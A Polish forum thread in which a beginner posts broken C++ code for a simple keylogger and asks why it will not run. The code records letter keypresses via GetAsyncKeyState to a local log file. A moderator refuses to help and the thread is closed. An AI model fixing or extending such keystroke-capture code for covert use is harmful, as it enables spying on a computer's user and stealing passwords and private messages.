Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

[C++] Mam problem ponieważ keylogger sie nie uruchamia


michacz13

Rekomendowane odpowiedzi

Opublikowano (edytowane)

Czy ktoś morze mi wyjaśnić dlaczego gdy klikam uruchom program się nie uruchamia? Co robię nie tak to moja pierwsza przygoda z c++ o to co w nim się znajdowało

 

//Very basic keylogger

#include <iostream> //contains basic functions

//I put it in for debugging

#include "windows.h"//to poll heystates

#include <fstream> //to write to file

using namespace std;//lazy ftw

 

int main(){

//our file

ofstream file;

 

//26 latters of the alphabet

const int numkeys = 26;

 

//How long to take in between polling

const int i_slp = 10;

 

//keystates

bool pressed_last[numkeys], pressed_now[numkeys],

exit = 0;

/*we want to keep track of what was last pressed

so that we don't have the same letter written

over and over, exit will be our exit condition*/

 

//Initialize our bools

for(int i=0;i<numkeys;i++){

pressed_last = 0;

pressed_now = 0;

}

 

/*So here's the basic idea

we;re going to poll all the letters.

then we;ll see, what was not pressed last time we

polled the keys, and what is pressed now. If a

key was not pressed before, and is pressed now,

we'll write it to a file.

and we ;ll stop when exit = 1;

*/

 

while(!exit){

//poll the keys

//A = 65, Z=65+26 <.<; ascii characters

for(int i='A';i<='Z';i++){

pressed_now[i-'A'] = GetAsyncKeyState(i)!=0?1:0;

//what that basically just said was

//if GetAsyncKeyState(allthekeys) is not 0, then

//set pressed_now[i-'A'] = 1, else 0

//neat notation eh?

//now we check if a key wans't pressed, and

//now it is

for(int i=0;i<numkeys;i++){

if(pressed_now&&!pressed_last)(

file.open("log.txt", ios::app); -------------> ta linijka jest źle i nie wiem czemu resta jest dobrze a ta nie.

file << char(i+'A'); //output to

//file

file.close();

cout << char(i+'A');

//output to screen

}

}

//file.open("log.xt", ios::app):

//means open the file for writing

//and move the writing pointer to the end

//of the file

 

//now we set what we have now, as the last

//key pressed

for(int i=0;i<numkeys;i++)

pressed_last = pressed_now;

//get it?

//we're done playing with pressed_now,

//and what is pressed now, is next times

//pressen_last... hope that makes sense

exit = GetAsyncKeyState(118)!=0?1:0;

Sleep(i_slp);

//Sleep pauses the program a bit, so it

//doesn't hog up as much cpu cycles

//118 is the code for F7

//so if F7 is pressed, the loop ends

//effectively ending program

}

return 0;

}

//Program complete

//Let's check it out

 

Edytowane przez michacz13
Opublikowano

Nie pomagamy w takich sprawach.

ExGlobal Moderator | exModerator  | ExMentor | Goldmember

 

Powoli wracam do życia.

 

Student prawa  ^^

Gość
Ten temat został zamknięty. Brak możliwości dodania odpowiedzi.
×
×
  • Dodaj nową pozycję...